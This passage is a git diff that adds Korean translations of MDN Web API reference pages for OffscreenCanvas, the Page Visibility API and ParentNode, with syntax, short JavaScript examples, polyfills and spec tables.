+  function render(time) {
+ // ... gl 컨텍스트를 이용해 무언가를 그립니다 ...
+  requestAnimationFrame(render);
+  }
+  requestAnimationFrame(render);
+};</pre>
+
+<h2 id="상세">상세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', "scripting.html#the-offscreencanvas-interface", "OffscreenCanvas")}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>
+
+
+<p>{{Compat("api.OffscreenCanvas")}}</p>
+</div>
+
+<h2 id="더_보기">더 보기</h2>
+
+<ul>
+ <li><a href="https://hacks.mozilla.org/2016/01/webgl-off-the-main-thread/">WebGL Off the Main Thread – Mozilla Hacks</a></li>
+ <li>{{domxref("CanvasRenderingContext2D")}}</li>
+ <li>{{domxref("ImageBitmap")}}</li>
+ <li>{{domxref("ImageBitmapRenderingContext")}}</li>
+ <li>{{domxref("HTMLCanvasElement.transferControlToOffscreen()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.commit()")}}</li>
+</ul>
diff --git a/files/ko/web/api/offscreencanvas/offscreencanvas/index.html b/files/ko/web/api/offscreencanvas/offscreencanvas/index.html
new file mode 100644
index 0000000000..89c6f42062
--- /dev/null
+++ b/files/ko/web/api/offscreencanvas/offscreencanvas/index.html
@@ -0,0 +1,74 @@
+---
+title: OffscreenCanvas()
+slug: Web/API/OffscreenCanvas/OffscreenCanvas
+tags:
+ - API
+ - Canvas
+ - Constructor
+ - Experimental
+ - OffscreenCanvas
+ - Reference
+ - WebGL
+translation_of: Web/API/OffscreenCanvas/OffscreenCanvas
+---
+<div>{{APIRef("Canvas API")}} {{SeeCompatTable}}</div>
+
+<p><code><strong>OffscreenCanvas()</strong></code> 생성자는 새롭게 초기화된 {{domxref("OffscreenCanvas")}} 객체를 반환합니다.</p>
+
+<p> </p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">new OffscreenCanvas(<em>width</em>, <em>height</em>);
+</pre>
+
+<h3 id="매개_변수">매개 변수</h3>
+
+<dl>
+ <dt><code>width</code></dt>
+ <dd>offscreen 캔버스의 너비</dd>
+ <dt><code>height</code></dt>
+ <dd>offscreen 캔버스의 높이</dd>
+</dl>
+
+<dl>
+</dl>
+
+<h2 id="예시">예시</h2>
+
+<p>이 예시는 <code>OffscreenCanvas()</code> 생성자를 이용해 새로운 offscreen 캔버스를 생성하고, <a href="/en-US/docs/Web/API/WebGL_API">WebGL</a> 컨텍스트의 {{domxref("OffscreenCanvas.getContext()", "getContext()")}} 메소드를 사용해 초기화합니다.</p>
+
+<pre class="brush: js">let offscreen = new OffscreenCanvas(256, 256);
+let gl = offscreen.getContext('webgl');
+</pre>
+
+<h2 id="상세">상세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', "#dom-offscreencanvas", "OffscreenCanvas()")}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>
+
+
+<p>{{Compat("api.OffscreenCanvas.OffscreenCanvas")}}</p>
+</div>
+
+<h2 id="더_보기">더 보기</h2>
+
+<ul>
+ <li>{{domxref("OffscreenCanvas")}}, 생성자가 속한 인터페이스</li>
+</ul>
diff --git a/files/ko/web/api/offscreencanvas/toblob/index.html b/files/ko/web/api/offscreencanvas/toblob/index.html
new file mode 100644
index 0000000000..e57eeecfbb
--- /dev/null
+++ b/files/ko/web/api/offscreencanvas/toblob/index.html
@@ -0,0 +1,77 @@
+---
+title: OffscreenCanvas.convertToBlob()
+slug: Web/API/OffscreenCanvas/toBlob
+tags:
+ - API
+ - Canvas
+ - Experimental
+ - Method
+ - OffscreenCanvas
+ - Reference
+translation_of: Web/API/OffscreenCanvas/toBlob
+---
+<div>{{APIRef("Canvas API")}} {{SeeCompatTable}}</div>
+
+<p><strong><code>OffscreenCanvas.convertToBlob()</code></strong> 메소드는 캔버스에 포함된 이미지를 표현하는 {{domxref("Blob")}} 객체를 생성합니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">Promise&lt;Blob&gt; OffscreenCanvas.convertToBlob(<var>options</var>);</pre>
+
+<h3 id="매개_변수">매개 변수</h3>
+
+<dl>
+ <dt><code>options</code> {{optional_inline}}</dt>
+ <dd>
+ <p>객체를 {{domxref("Blob")}} 객체로 전환할 때 다양한 옵션을 줄 수 있습니다.</p>
+
+ <pre class="brush: js">const blob = offscreenCanvas.convertToBlob({
+ type: "image/jpeg",
+ quality: 0.95
+});</pre>
+
+ <p>options:</p>
+
+ <ul>
+ <li><strong><code>type</code></strong>: 이미지 포맷을 가리키는 {{domxref("DOMString")}}. 상세 타입은 <code>image/png</code></li>
+ <li><code><strong>quality</strong></code>: <code>type</code> 옵션이 <code>image/jpeg</code> 혹은 <code>image/webp</code> 일 때 이미지의 품질을 가리키는 <code>0</code>과 <code>1</code>사이의 {{jsxref("Number")}}. 이 매개 변수가 다른 값이라면, 이미지 품질의 기본 설정값이 적용됩니다. 다른 매개 변수들은 무시됩니다.</li>
+ </ul>
+ </dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>캔버스에 포함된 이미지를 표현하는 {{domxref("Blob")}} 객체를 반환하는 {{jsxref("Promise")}}</p>
+
+<h2 id="예시">예시</h2>
+
+<pre class="brush: js">var offscreen = new OffscreenCanvas(256, 256);
+var gl = offscreen.getContext("webgl");
+
+// ... gl 컨텍스트를 이용해 무언가를 그립니다 ...
+
+offscreen.convertToBlob().then(function(blob) {
+ console.log(blob);
+});
+
+// Blob { size: 334, type: "image/png" }</pre>
+
+<h2 id="상세">상세</h2>
+
+<p>현재 작성되고 있는 중입니다: <a href="https://wiki.whatwg.org/wiki/OffscreenCanvas">OffscreenCanvas</a>.</p>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>
+
+
+<p>{{Compat("api.OffscreenCanvas.convertToBlob")}}</p>
+</div>
+
+<p> </p>
+
+<h2 id="더_보기">더 보기</h2>
+
+<ul>
+ <li>이 메소드를 정의하는 인터페이스, {{domxref("OffscreenCanvas")}}.</li>
+</ul>
diff --git a/files/ko/web/api/offscreencanvas/width/index.html b/files/ko/web/api/offscreencanvas/width/index.html
new file mode 100644
index 0000000000..e7d7440d28
--- /dev/null
+++ b/files/ko/web/api/offscreencanvas/width/index.html
@@ -0,0 +1,63 @@
+---
+title: OffscreenCanvas.width
+slug: Web/API/OffscreenCanvas/width
+tags:
+ - API
+ - Canvas
+ - Experimental
+ - OffscreenCanvas
+ - Property
+ - Reference
+translation_of: Web/API/OffscreenCanvas/width
+---
+<div>{{APIRef("Canvas API")}} {{SeeCompatTable}}</div>
+
+<p><code><strong>width</strong></code><strong> </strong><span style="font-size: 1rem; letter-spacing: -0.00278rem;">프로퍼티는 {{domxref("OffscreenCanvas")}} 객체에 할당된 너비를 반환합니다.</span></p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><var>var <em>pxl</em> = <em>offscreen</em></var>.width;
+<em>offscreen</em>.width = <em>pxl</em>;</pre>
+
+<dl>
+</dl>
+
+<h2 id="예시">예시</h2>
+
+<p>새로운 offscreen 캔버스를 생성하고 높이를 설정하거나 반환합니다.</p>
+
+<pre class="brush: js">var offscreen = new OffscreenCanvas(256, 256);
+offscreen.width; // 256
+offscreen.width = 512;
+</pre>
+
+<h2 id="상세">상세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', "#dom-offscreencanvas-width", "OffscreenCanvas.width")}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>
+
+
+<p>{{Compat("api.OffscreenCanvas.width")}}</p>
+</div>
+
+<h2 id="더_보기">더 보기</h2>
+
+<ul>
+ <li>{{domxref("OffscreenCanvas")}}, 프로퍼티가 속한 인터페이스</li>
+</ul>
diff --git a/files/ko/web/api/page_visibility_api/index.html b/files/ko/web/api/page_visibility_api/index.html
new file mode 100644
index 0000000000..98d67430e9
--- /dev/null
+++ b/files/ko/web/api/page_visibility_api/index.html
@@ -0,0 +1,141 @@
+---
+title: Page Visibility API
+slug: Web/API/Page_Visibility_API
+tags:
+ - API
+ - DOM
+ - Documents
+ - Tutorials
+translation_of: Web/API/Page_Visibility_API
+---
+<div>{{DefaultAPISidebar("Page Visibility API")}}</div>
+
+<p><span class="seoSummary"><strong>Page Visibility API</strong>는 웹페이지가 visible 또는 focus 상태인지 당신이 알도록 한다.</span> 탭 브라우징 사용시에, background 에 어떤 웹페이지가 존재하면서 유저에게 보이지 않을 가능성이 있다. 사용자가 웹페이지를 최소화하거나 다른 탭으로 이동했을 때, 이 API 는 페이지의 visibility 를 관찰하는 {{event("visibilitychange")}} 이벤트를 전달한다. 당신은 이벤트를 감지할 수 있고, 어떠한 action 을 수행하거나 다르게 반응할 수 있다. 예를 들어, 당신의 웹 앱이 video 를 재생한다면, 사용자가 다른 브라우저를 보고 있을 때 video 를 pause 하고, 탭으로 돌아왔을 때 다시 재생할 수 있다. 사용자는 video 에서 자신의 위치를 잃지 않고 계속 시청할 수 있다.<br>
+ <br>
+ Visibility states of an {{HTMLElement("iframe")}} 의 visibility 상태는 부모 document 와 동일하다. CSS 속성으로 iframe 을 숨기더라도 visibility 이벤트가 트리거되거나 content document 의 상태가 변경되지 않는다.</p>
+
+<h3 id="Use_cases">Use cases</h3>
+
+<p>몇몇 예시 :</p>
+
+<ul>
+ <li>사용자가 페이지를 보고 있지 않는 한, 다음 슬라이드로 전진하지 않아야 하는 이미지 carousel 을 가지는 웹사이트.</li>
+ <li>페이지가 보이지 않을 때 업데이트를 위해 서버를 폴링하기 원하지 않는, 정보의 대시보드를 보여주는 어플리케이션.</li>
+ <li>prerender 되는 시점을 감지하여, 페이지 뷰의 카운트를 정확하게 유지할 수 있기를 원하는 페이지</li>
+ <li>디바이스가 대기 모드(유저가 power 버튼을 눌러 screen off)일 때, sound off 를 원하는 웹사이트</li>
+</ul>
+
+<p>개발자들은 역사적으로 이를 감지하기 위해 불완전한 프록시들을 사용하였었습니다. 예를 들어, window 에 onblur/onfocus 핸들러를 등록록함으로써, 당신의 페이지가 활성화된 페이지가 아닐 때 당신이 알 수 있도록 하였지만, 그것은 당신의 페이지가 사용자에게 숨겨져 있음을 알려주지는 못 합니다. Page Visibility API 는 이를 다룹니다. (window 에 onblur/onfocus 핸들러들을 등록하는 것과 비교하자면, 주요 차이점은 다른 window 가 활성화되고 브라우저 window 가 focus 를 잃을 때 페이지가 숨겨지지 않는다는 점입니다. 페이지는 단지 사용자가 다른 탭으로 전환하거나, 브라우저 window 를 최소화하였을 때 숨겨집니다.)</p>
+
+<h2 id="Example">Example</h2>
+
+<p><a href="http://daniemon.com/tech/webapps/page-visibility/">live example</a> 보기 (사운드를 가진 video).<br>
+ <br>
+ 당신이 다른 tab 으로 이동했을 때 video 를 일시 정지하는, 다음의 코드로 구현되어 있는 예시 :</p>
+
+<pre class="brush: js">// Set the name of the hidden property and the change event for visibility
+var hidden, visibilityChange;
+if (typeof document.hidden !== "undefined") { // Opera 12.10 and Firefox 18 and later support
+ hidden = "hidden";
+ visibilityChange = "visibilitychange";
+} else if (typeof document.msHidden !== "undefined") {
+ hidden = "msHidden";
+ visibilityChange = "msvisibilitychange";
+} else if (typeof document.webkitHidden !== "undefined") {
+ hidden = "webkitHidden";
+ visibilityChange = "webkitvisibilitychange";
+}
+
+var videoElement = document.getElementById("videoElement");
+
+// If the page is hidden, pause the video;
+// if the page is shown, play the video
+function handleVisibilityChange() {
+ if (document[hidden]) {
+ videoElement.pause();
+ } else {
+ videoElement.play();
+ }
+}
+
+// Warn if the browser doesn't support addEventListener or the Page Visibility API
+if (typeof document.addEventListener === "undefined" || typeof document[hidden] === "undefined") {
+ console.log("This demo requires a browser, such as Google Chrome or Firefox, that supports the Page Visibility API.");
+} else {
+ // Handle page visibility change
+ document.addEventListener(visibilityChange, handleVisibilityChange, false);
+
+ // When the video pauses, set the title.
+ // This shows the paused
+ videoElement.addEventListener("pause", function(){
+ document.title = 'Paused';
+ }, false);
+
+ // When the video plays, set the title.
+ videoElement.addEventListener("play", function(){
+ document.title = 'Playing';
+ }, false);
+
+}
+</pre>
+
+<h2 id="Properties_overview">Properties overview</h2>
+
+<h3 id="document.hidden_Read_only"><code>document.hidden</code> <span class="inlineIndicator readOnly readOnlyInline" title="This value may not be changed.">Read only </span></h3>
+
+<p>페이지가 사용자에게 보이지 않는 것으로 간주되는 상태일 경우 <code>true</code> 를 반환하고, 그렇지 않을 경우 <code>false</code> 를 반환한다.</p>
+
+<h3 id="document.visibilityState_Read_only"><code>document.visibilityState</code> <span class="inlineIndicator readOnly readOnlyInline" title="This value may not be changed.">Read only </span></h3>
+
+<p>는 document 의 visibility 상태를 나타내는 <code>string</code>. 가능한 values:</p>
+
+<ul>
+ <li><code>visible</code> : 페이지 컨텐츠가 적어도 부분적으로 보일 수 있다. 실제로 이것은 페이지가 최소화되지 않은 window 의 맨 앞쪽 탭임을 의미한다.</li>
+ <li><code>hidden</code> : 페이지 컨텐츠가 사용자에게 보이지 않는다. 실제로 이것은 document 가 뒤쪽 탭이거나 최소화된 window 의 부분이거나, OS Screen 의 lock 이 활성화되어 있음을 의미한다.</li>
+ <li><code>prerender</code> : 페이지 컨텐츠가 프리렌더되고 있으며 유저에게 보이지 않는다 (<code>document.hidden </code>목적으로 숨겨진 것으로 간주). document 는 이 상태에서 시작될 수도 있지만, 다른 값으로부터 이 상태로 전환되지는 않을 것이다. 참고: 브라우저 지원은 optional 하다.</li>
+ <li><code>unloaded</code> : 페이지가 메모리로부터 unload 되고 있다. 참고: 브라우저 지원은 optional 하다.</li>
+</ul>
+
+<pre class="brush: js">//startSimulation and pauseSimulation defined elsewhere
+function handleVisibilityChange() {
+ if (document.hidden) {
+ pauseSimulation();
+ } else {
+ startSimulation();
+ }
+}
+
+document.addEventListener("visibilitychange", handleVisibilityChange, false);
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('Page Visibility API')}}</td>
+ <td>{{Spec2('Page Visibility API')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.Document.visibilityState")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>Description of the <a href="http://blogs.msdn.com/b/ie/archive/2011/07/08/using-pc-hardware-more-efficiently-in-html5-new-web-performance-apis-part-2.aspx" title="Page Visibility on IEBlog">Page Visibility API</a> on the IEBlog.</li>
+ <li>Description of the <a href="http://code.google.com/chrome/whitepapers/pagevisibility.html" title="Page Visibility API by Google">Page Visibility API</a> by Google</li>
+</ul>
diff --git a/files/ko/web/api/parentnode/append/index.html b/files/ko/web/api/parentnode/append/index.html
new file mode 100644
index 0000000000..1c9496b65b
--- /dev/null
+++ b/files/ko/web/api/parentnode/append/index.html
@@ -0,0 +1,134 @@
+---
+title: ParentNode.append()
+slug: Web/API/ParentNode/append
+translation_of: Web/API/ParentNode/append
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p><strong><code>ParentNode.append()</code></strong> 메서드는 <code>ParentNode</code>의 마지막 자식 뒤에 {{domxref("Node")}} 객체 또는 {{domxref("DOMString")}} 객체를 삽입한다. {{domxref("DOMString")}} 객체는 {{domxref("Text")}} 노드처럼 삽입한다.</p>
+
+<p>{{domxref("Node.appendChild()")}}와 다른 점:</p>
+
+<ul>
+ <li><code>ParentNode.append()</code>는 {{domxref("DOMString")}} 객체도 추가할 수 있다. 한편 <code>Node.appendChild()</code>는 오직 {{domxref("Node")}} 객체만 허용한다.</li>
+ <li><code>ParentNode.append()</code>는 반환하는 값이 없다. 한편 <code>Node.appendChild()</code>는 추가한 {{domxref("Node")}} 객체를 반환한다.</li>
+ <li><code>ParentNode.append()</code>는 여러 개 노드와 문자를 추가할 수 있다. 한편 <code>Node.appendChild()</code>는 오직 노드 하나만 추가할 수 있다.</li>
+</ul>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox">[Throws, Unscopable]
+void ParentNode.append((Node or DOMString)... nodes);
+</pre>
+
+<h3 id="매개_변수">매개 변수</h3>
+
+<dl>
+ <dt><code>nodes</code></dt>
+ <dd>삽입하려고 하는 {{domxref("Node")}} 객체 집합 또는 {{domxref("DOMString")}} 객체 집합.</dd>
+</dl>
+
+<h3 id="예외">예외</h3>
+
+<ul>
+ <li>{{domxref("HierarchyRequestError")}}: 계층 구조의 지정된 지점에 노드를 삽입 할 수 없다.</li>
+</ul>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="요소element_추가하기">요소(element) 추가하기</h3>
+
+<pre class="brush: js">var parent = document.createElement("div");
+var p = document.createElement("p");
+parent.append(p);
+
+console.log(parent.childNodes); // NodeList [ &lt;p&gt; ]
+</pre>
+
+<h3 id="문자text_추가하기">문자(text) 추가하기</h3>
+
+<pre class="brush: js">var parent = document.createElement("div");
+parent.append("Some text");
+
+console.log(parent.textContent); // "Some text"</pre>
+
+<h3 id="요소element와_문자text_함께_추가하기">요소(element)와 문자(text) 함께 추가하기</h3>
+
+<pre class="brush: js">var parent = document.createElement("div");
+var p = document.createElement("p");
+parent.append("Some text", p);
+
+console.log(parent.childNodes); // NodeList [ #text "Some text", &lt;p&gt; ]</pre>
+
+<h3 id="ParentNode.append_범위_지정_불가"><code>ParentNode.append()</code> 범위 지정 불가</h3>
+
+<p><code>append()</code> 메소드는 <code>with</code> 문으로 범위를 지정하지 않는다. 더 자세한 내용은 {{jsxref("Symbol.unscopables")}} 참고.</p>
+
+<pre class="brush: js">var parent = document.createElement("div");
+
+with(parent) {
+ append("foo");
+}
+// ReferenceError: append is not defined </pre>
+
+<h2 id="대체_구현">대체 구현</h2>
+
+<p>다음 코드를 이용하면 인터넷 익스플로러 9 이상에서 <code>append() method</code>를 대체하여 구현할 수 있다.</p>
+
+<pre class="brush: js">// Source: https://github.com/jserz/js_piece/blob/master/DOM/ParentNode/append()/append().md
+(function (arr) {
+ arr.forEach(function (item) {
+ if (item.hasOwnProperty('append')) {
+ return;
+ }
+ Object.defineProperty(item, 'append', {
+ configurable: true,
+ enumerable: true,
+ writable: true,
+ value: function append() {
+ var argArr = Array.prototype.slice.call(arguments),
+ docFrag = document.createDocumentFragment();
+
+ argArr.forEach(function (argItem) {
+ var isNode = argItem instanceof Node;
+ docFrag.appendChild(isNode ? argItem : document.createTextNode(String(argItem)));
+ });
+
+ this.appendChild(docFrag);
+ }
+ });
+ });
+})([Element.prototype, Document.prototype, DocumentFragment.prototype]);</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">참고</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('DOM WHATWG', '#dom-parentnode-append', 'ParentNode.append()')}}</td>
+ <td>{{Spec2('DOM WHATWG')}}</td>
+ <td>초기 정의</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.ParentNode.append")}}</p>
+
+<h2 id="참고">참고</h2>
+
+<ul>
+ <li>{{domxref("ParentNode")}} and {{domxref("ChildNode")}}</li>
+ <li>{{domxref("ParentNode.prepend()")}}</li>
+ <li>{{domxref("Node.appendChild()")}}</li>
+ <li>{{domxref("ChildNode.after()")}}</li>
+ <li>{{domxref("NodeList")}}</li>
+</ul>
diff --git a/files/ko/web/api/parentnode/childelementcount/index.html b/files/ko/web/api/parentnode/childelementcount/index.html
new file mode 100644
index 0000000000..665c417512
--- /dev/null
+++ b/files/ko/web/api/parentnode/childelementcount/index.html
@@ -0,0 +1,97 @@
+---
+title: ParentNode.childElementCount
+slug: Web/API/ParentNode/childElementCount
+tags:
+ - API
+ - DOM
+ - ParentNode
+ - Property
+ - Reference
+translation_of: Web/API/ParentNode/childElementCount
+---
+<div>{{ APIRef("DOM") }}</div>
+
+<p><code><strong>ParentNode.childElementCount</strong></code> 읽기 전용 속성은 주어진 요소의 자식 요소 개수를 <code>unsigned long</code> 타입으로 반환합니다.</p>
+
+<div class="note">
+<p>이 속성은 처음에 {{domxref("ElementTraversal")}} 인터페이스에 정의되었습니다. 이 인터페이스는 자식이 있는 {{domxref("Node")}}와 자식 {{domxref("Node")}}를 위한 두 가지 고유한 속성 집합을 포함하고 있었는데, 각각 {{domxref("ParentNode")}}와 {{domxref("ChildNode")}} 개별 인터페이스로 이동되었습니다. <code>childElementCount</code>의 경우 {{domxref("ParentNode")}}로 이동했습니다. 이것은 기술적인 변화로 호환성에는 영향을 미치지 않습니다.</p>
+</div>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox notranslate">var <var>count</var> = <em>node</em>.childElementCount;
+</pre>
+
+<dl>
+ <dt><code>count</code></dt>
+ <dd><code>unsigned long</code>(정수) 타입의 반환값.</dd>
+ <dt><code>node</code></dt>
+ <dd>{{domxref("Document")}}, {{domxref("DocumentFragment")}} 또는 {{domxref("Element")}} 객체.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush:js notranslate">var foo = document.getElementById('foo');
+if (foo.childElementCount &gt; 0) {
+ // Do something
+}
+</pre>
+
+<h2 id="폴리필_IE8_IE9_Safari">폴리필 (IE8 &amp; IE9 &amp; Safari)</h2>
+
+<p>이 속성은 IE9 이전 버전에서는 지원하지 않습니다. IE9과 Safari는 <code>Document</code>와 <code>DocumentFragment</code> 객체에서 이 속성을 지원하지 않습니다.</p>
+
+<pre class="brush:js notranslate">;(function(constructor) {
+ if (constructor &amp;&amp;
+ constructor.prototype &amp;&amp;
+ constructor.prototype.childElementCount == null) {
+ Object.defineProperty(constructor.prototype, 'childElementCount', {
+ get: function() {
+ var i = 0, count = 0, node, nodes = this.childNodes;
+ while (node = nodes[i++]) {
+ if (node.nodeType === 1) count++;
+ }
+ return count;
+ }
+ });
+ }
+})(window.Node || window.Element);
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">표준</th>
+ <th scope="col">상태</th>
+ <th scope="col">비고</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('DOM WHATWG', '#dom-parentnode-childelementcount', 'ParentNode.childElementCount')}}</td>
+ <td>{{Spec2('DOM WHATWG')}}</td>
+ <td>Split the <code>ElementTraversal</code> interface in {{domxref("ChildNode")}} and <code>ParentNode</code>. This method is now defined on the latter.<br>
+ The {{domxref("Document")}} and {{domxref("DocumentFragment")}} implemented the new interfaces.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('Element Traversal', '#attribute-childElementCount', 'ElementTraversal.childElementCount')}}</td>
+ <td>{{Spec2('Element Traversal')}}</td>
+ <td>Added its initial definition to the <code>ElementTraversal</code> pure interface and use it on {{domxref("Element")}}.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.ParentNode.childElementCount")}}</p>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li>{{domxref("ParentNode")}}와 {{domxref("ChildNode")}} 인터페이스.</li>
+ <li>
+ <div class="syntaxbox">이 인터페이스를 구현한 객체 타입: {{domxref("Document")}}, {{domxref("Element")}}, {{domxref("DocumentFragment")}}.</div>
+ </li>
+</ul>
diff --git a/files/ko/web/api/parentnode/children/index.html b/files/ko/web/api/parentnode/children/index.html
new file mode 100644
index 0000000000..264fb25956
--- /dev/null
+++ b/files/ko/web/api/parentnode/children/index.html
@@ -0,0 +1,85 @@
+---
+title: ParentNode.children
+slug: Web/API/ParentNode/children
+translation_of: Web/API/ParentNode/children
+---
+<div>{{ APIRef("DOM") }}</div>
+
+<p><span class="seoSummary">{{domxref("ParentNode")}}의 속성 <code><strong>children</strong></code>은 호출된 요소의 모든 자식 노드의 {{domxref("Element","elements")}}를 담고있는 실시간 {{domxref("HTMLCollection")}}을 반환합니다.</span></p>
+
+<h2 id="Syntax">Syntax </h2>
+
+<pre class="syntaxbox">var <em>children</em> = <em>node</em>.children;</pre>
+
+<h3 id="Value">Value</h3>
+
+<p>실시간이며, <code>node</code>의 자식 DOM 요소들의 정렬된 컬렉션인 {{ domxref("HTMLCollection") }}. 각 자식 요소를 컬렉션 안에서 접근하기 위해서 {{domxref("HTMLCollection.item", "item()")}} 메소드를 이용하거나 Javascript 배열 스타일의 문법을 사용할 수 있습니다.</p>
+
+<p>만약 노드가 자식요소를 갖고 있지 않나면, <code>children</code>은 0의 <code>length</code>를 가진 빈 리스트 일 것입니다.</p>
+
+<h2 id="Example">Example</h2>
+
+<pre class="brush: js">var foo = document.getElementById('foo');
+for (var i = 0; i &lt; foo.children.length; i++) {
+ console.log(foo.children[i].tagName);
+}
+</pre>
+
+<h2 id="Polyfill">Polyfill</h2>
+
+<pre class="brush: js">// Overwrites native 'children' prototype.
+// Adds Document &amp; DocumentFragment support for IE9 &amp; Safari.
+// Returns array instead of HTMLCollection.
+;(function(constructor) {
+ if (constructor &amp;&amp;
+ constructor.prototype &amp;&amp;
+ constructor.prototype.children == null) {
+ Object.defineProperty(constructor.prototype, 'children', {
+ get: function() {
+ var i = 0, node, nodes = this.childNodes, children = [];
+ while (node = nodes[i++]) {
+ if (node.nodeType === 1) {
+ children.push(node);
+ }
+ }
+ return children;
+ }
+ });
+ }
+})(window.Node || window.Element);
+</pre>
+
+<h2 id="Specification">Specification</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('DOM WHATWG', '#dom-parentnode-children', 'ParentNode.children')}}</td>
+ <td>{{Spec2('DOM WHATWG')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.ParentNode.children")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>The {{domxref("ParentNode")}} and {{domxref("ChildNode")}} interfaces.</li>
+ <li>
+ <div class="syntaxbox">Object types implementing this interface: {{domxref("Document")}}, {{domxref("Element")}}, and {{domxref("DocumentFragment")}}.</div>
+ </li>
+ <li>
+ <div class="syntaxbox">{{domxref("Node.childNodes")}}</div>
+ </li>
+</ul>
diff --git a/files/ko/web/api/parentnode/index.html b/files/ko/web/api/parentnode/index.html
new file mode 100644
index 0000000000..39502f3625
--- /dev/null
+++ b/files/ko/web/api/parentnode/index.html
@@ -0,0 +1,80 @@
+---
+title: ParentNode
+slug: Web/API/ParentNode
+tags:
+ - API
+ - DOM
+ - Mixin
+ - Node
+ - ParentNode
+ - Reference
+translation_of: Web/API/ParentNode
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p><span class="seoSummary"><code><strong>ParentNode</strong></code> 믹스인<sup>mixin</sup>은 자식을 가질 수 있는 모든 종류의 {{domxref("Node")}} 객체가 공통으로 가지는 메서드와 속성을 가집니다.</span> {{domxref("Element")}}, {{domxref("Document")}}, {{domxref("DocumentFragment")}} 객체가 구현합니다.</p>
+
+<p><a href="/ko/docs/Web/API/Document_object_model/Locating_DOM_elements_using_selectors">선택자로 DOM 요소 선택하기</a> 문서를 참고하여 <a href="/ko/docs/Web/CSS/CSS_Selectors">CSS 선택자</a>로 원하는 노드나 요소를 선택하는 법을 알아보세요.</p>
+
+<h2 id="속성">속성</h2>
+
+<dl>
+ <dt>{{domxref("ParentNode.childElementCount")}} {{readonlyInline}}</dt>
+ <dd><code>ParentNode</code>가 가진 자식 중 요소의 수를 반환합니다.</dd>
+ <dt>{{domxref("ParentNode.children")}} {{readonlyInline}}</dt>
+ <dd><code>ParentNode</code>가 가진 모든 자식 중 요소만 모은 {{domxref("HTMLCollection")}}을 반환합니다.</dd>
+ <dt>{{domxref("ParentNode.firstElementChild")}} {{readonlyInline}}</dt>
+ <dd><code>ParentNode</code>의 자식이자 {{jsxref("Element")}}인 객체 중 첫 번째를 반환합니다. 만족하는 자식이 없으면 {{jsxref("null")}}을 반환합니다.</dd>
+ <dt>{{domxref("ParentNode.lastElementChild")}} {{readonlyInline}}</dt>
+ <dd><code>ParentNode</code>의 자식이자 {{jsxref("Element")}}인 객체 중 마지막을 반환합니다. 만족하는 자식이 없으면 {{jsxref("null")}}을 반환합니다.</dd>
+</dl>
+
+<h2 id="메서드">메서드</h2>
+
+<dl>
+ <dt>{{domxref("ParentNode.append()")}} {{experimental_inline}}</dt>
+ <dd><code>ParentNode</code>의 마지막 자식 다음에, 주어진 {{domxref("Node")}}나 {{domxref("DOMString")}} 객체를 삽입합니다. <code>DOMString</code> 객체는 동등한 {{domxref("Text")}}처럼 취급합니다.</dd>
